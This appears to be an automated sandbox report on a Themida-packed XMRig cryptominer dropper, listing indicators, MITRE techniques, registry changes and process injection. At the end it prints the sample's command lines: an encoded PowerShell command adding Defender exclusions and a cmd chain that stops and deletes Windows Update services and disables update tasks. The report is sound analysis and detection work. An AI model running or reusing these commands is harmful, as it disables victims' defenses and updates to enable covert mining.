xmrig | 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025

Analysis

max time kernel
300s
max time network
290s
platform
windows10-1703_x64
resource
win10-20220722-en
resource tags

arch:x64arch:x86image:win10-20220722-enlocale:en-usos:windows10-1703-x64system
submitted
03-08-2022 22:15

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General

Target

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Size

7.1MB
MD5

322cf2f6a67420e4eb53f29263a639ba
SHA1

bc91f56c260ff4484f7fb0d33a3d351d3d812781
SHA256

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025
SHA512

3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7

Score

10^/10

xmrig discovery evasion exploit miner themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

updater.exe1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3832-470-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3832-471-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/3832-472-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3832-475-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3832-478-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3832-487-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

Processes:

conhost.execonhost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1304 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

4520 takeown.exe
4728 icacls.exe
928 takeown.exe
632 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
1304	updater.exe

pid	process
4520	takeown.exe
4728	icacls.exe
928	takeown.exe
632	icacls.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

updater.exe1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe

Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

928 takeown.exe
632 icacls.exe
4520 takeown.exe
4728 icacls.exe

pid	process
928	takeown.exe
632	icacls.exe
4520	takeown.exe
4728	icacls.exe

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/4956-127-0x0000000000400000-0x000000000106F000-memory.dmp	themida
behavioral2/memory/4956-128-0x0000000000400000-0x000000000106F000-memory.dmp	themida
behavioral2/memory/4956-130-0x0000000000400000-0x000000000106F000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/1304-276-0x0000000000400000-0x000000000106F000-memory.dmp	themida
behavioral2/memory/1304-275-0x0000000000400000-0x000000000106F000-memory.dmp	themida
behavioral2/memory/1304-280-0x0000000000400000-0x000000000106F000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.EXEpowershell.execonhost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log	conhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exe

pid process

4956 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
1304 updater.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 4648 set thread context of 3832 4648 conhost.exe explorer.exe

pid	process
4956	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
1304	updater.exe

description	pid	process	target process
PID 4648 set thread context of 3832	4648	conhost.exe	explorer.exe

Drops file in Program Files directory 3 IoCs

Processes:

powershell.execonhost.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File created	C:\Program Files\Google\Libs\WR64.sys	conhost.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3144 sc.exe
3156 sc.exe
820 sc.exe
384 sc.exe
3300 sc.exe
2976 sc.exe
4504 sc.exe
1448 sc.exe
3964 sc.exe
1964 sc.exe

pid	process
3144	sc.exe
3156	sc.exe
820	sc.exe
384	sc.exe
3300	sc.exe
2976	sc.exe
4504	sc.exe
1448	sc.exe
3964	sc.exe
1964	sc.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.EXEconhost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
2300	reg.exe
4868	reg.exe
2148	reg.exe
1780	reg.exe
1648	reg.exe
4728	reg.exe
4884	reg.exe
4480	reg.exe
3040	reg.exe
1068	reg.exe
1168	reg.exe
4748	reg.exe
1748	reg.exe
5012	reg.exe
4884	reg.exe
1276	reg.exe
652	reg.exe
4132	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exeexplorer.exe

pid	process
5064	powershell.exe
5064	powershell.exe
5064	powershell.exe
4968	conhost.exe
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe
2236	powershell.EXE
2236	powershell.EXE
2236	powershell.EXE
2836	powershell.exe
2836	powershell.exe
2836	powershell.exe
4648	conhost.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe
3832	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

636

pid	process
636

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.execonhost.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeIncreaseQuotaPrivilege	5064	powershell.exe
Token: SeSecurityPrivilege	5064	powershell.exe
Token: SeTakeOwnershipPrivilege	5064	powershell.exe
Token: SeLoadDriverPrivilege	5064	powershell.exe
Token: SeSystemProfilePrivilege	5064	powershell.exe
Token: SeSystemtimePrivilege	5064	powershell.exe
Token: SeProfSingleProcessPrivilege	5064	powershell.exe
Token: SeIncBasePriorityPrivilege	5064	powershell.exe
Token: SeCreatePagefilePrivilege	5064	powershell.exe
Token: SeBackupPrivilege	5064	powershell.exe
Token: SeRestorePrivilege	5064	powershell.exe
Token: SeShutdownPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeSystemEnvironmentPrivilege	5064	powershell.exe
Token: SeRemoteShutdownPrivilege	5064	powershell.exe
Token: SeUndockPrivilege	5064	powershell.exe
Token: SeManageVolumePrivilege	5064	powershell.exe
Token: 33	5064	powershell.exe
Token: 34	5064	powershell.exe
Token: 35	5064	powershell.exe
Token: 36	5064	powershell.exe
Token: SeShutdownPrivilege	1916	powercfg.exe
Token: SeCreatePagefilePrivilege	1916	powercfg.exe
Token: SeShutdownPrivilege	4184	powercfg.exe
Token: SeCreatePagefilePrivilege	4184	powercfg.exe
Token: SeShutdownPrivilege	4236	powercfg.exe
Token: SeCreatePagefilePrivilege	4236	powercfg.exe
Token: SeDebugPrivilege	4968	conhost.exe
Token: SeShutdownPrivilege	2396	powercfg.exe
Token: SeCreatePagefilePrivilege	2396	powercfg.exe
Token: SeTakeOwnershipPrivilege	4520	takeown.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeIncreaseQuotaPrivilege	3956	powershell.exe
Token: SeSecurityPrivilege	3956	powershell.exe
Token: SeTakeOwnershipPrivilege	3956	powershell.exe
Token: SeLoadDriverPrivilege	3956	powershell.exe
Token: SeSystemProfilePrivilege	3956	powershell.exe
Token: SeSystemtimePrivilege	3956	powershell.exe
Token: SeProfSingleProcessPrivilege	3956	powershell.exe
Token: SeIncBasePriorityPrivilege	3956	powershell.exe
Token: SeCreatePagefilePrivilege	3956	powershell.exe
Token: SeBackupPrivilege	3956	powershell.exe
Token: SeRestorePrivilege	3956	powershell.exe
Token: SeShutdownPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeSystemEnvironmentPrivilege	3956	powershell.exe
Token: SeRemoteShutdownPrivilege	3956	powershell.exe
Token: SeUndockPrivilege	3956	powershell.exe
Token: SeManageVolumePrivilege	3956	powershell.exe
Token: 33	3956	powershell.exe
Token: 34	3956	powershell.exe
Token: 35	3956	powershell.exe
Token: 36	3956	powershell.exe
Token: SeIncreaseQuotaPrivilege	3956	powershell.exe
Token: SeSecurityPrivilege	3956	powershell.exe
Token: SeTakeOwnershipPrivilege	3956	powershell.exe
Token: SeLoadDriverPrivilege	3956	powershell.exe
Token: SeSystemProfilePrivilege	3956	powershell.exe
Token: SeSystemtimePrivilege	3956	powershell.exe
Token: SeProfSingleProcessPrivilege	3956	powershell.exe
Token: SeIncBasePriorityPrivilege	3956	powershell.exe
Token: SeCreatePagefilePrivilege	3956	powershell.exe
Token: SeBackupPrivilege	3956	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 4956 wrote to memory of 4968	4956	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe	conhost.exe
PID 4956 wrote to memory of 4968	4956	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe	conhost.exe
PID 4956 wrote to memory of 4968	4956	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe	conhost.exe
PID 4968 wrote to memory of 5064	4968	conhost.exe	powershell.exe
PID 4968 wrote to memory of 5064	4968	conhost.exe	powershell.exe
PID 4968 wrote to memory of 5092	4968	conhost.exe	cmd.exe
PID 4968 wrote to memory of 5092	4968	conhost.exe	cmd.exe
PID 4968 wrote to memory of 1224	4968	conhost.exe	cmd.exe
PID 4968 wrote to memory of 1224	4968	conhost.exe	cmd.exe
PID 5092 wrote to memory of 1964	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 1964	5092	cmd.exe	sc.exe
PID 1224 wrote to memory of 1916	1224	cmd.exe	powercfg.exe
PID 1224 wrote to memory of 1916	1224	cmd.exe	powercfg.exe
PID 5092 wrote to memory of 3300	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 3300	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 2976	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 2976	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 3144	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 3144	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 3156	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 3156	5092	cmd.exe	sc.exe
PID 5092 wrote to memory of 4132	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 4132	5092	cmd.exe	reg.exe
PID 1224 wrote to memory of 4184	1224	cmd.exe	powercfg.exe
PID 1224 wrote to memory of 4184	1224	cmd.exe	powercfg.exe
PID 1224 wrote to memory of 4236	1224	cmd.exe	powercfg.exe
PID 1224 wrote to memory of 4236	1224	cmd.exe	powercfg.exe
PID 5092 wrote to memory of 1748	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 1748	5092	cmd.exe	reg.exe
PID 1224 wrote to memory of 2396	1224	cmd.exe	powercfg.exe
PID 1224 wrote to memory of 2396	1224	cmd.exe	powercfg.exe
PID 5092 wrote to memory of 5012	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 5012	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 3040	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 3040	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 4480	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 4480	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 4520	5092	cmd.exe	takeown.exe
PID 5092 wrote to memory of 4520	5092	cmd.exe	takeown.exe
PID 5092 wrote to memory of 4728	5092	cmd.exe	icacls.exe
PID 5092 wrote to memory of 4728	5092	cmd.exe	icacls.exe
PID 4968 wrote to memory of 3956	4968	conhost.exe	powershell.exe
PID 4968 wrote to memory of 3956	4968	conhost.exe	powershell.exe
PID 5092 wrote to memory of 4884	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 4884	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 2148	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 2148	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 1780	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 1780	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 1648	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 1648	5092	cmd.exe	reg.exe
PID 5092 wrote to memory of 1668	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 1668	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 2764	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 2764	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 2768	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 2768	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 4264	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 4264	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 4260	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 4260	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 2540	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 2540	5092	cmd.exe	schtasks.exe
PID 5092 wrote to memory of 2344	5092	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
"C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:4956

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdAB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBhAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAZwBuACMAPgA="
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5064

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:5092

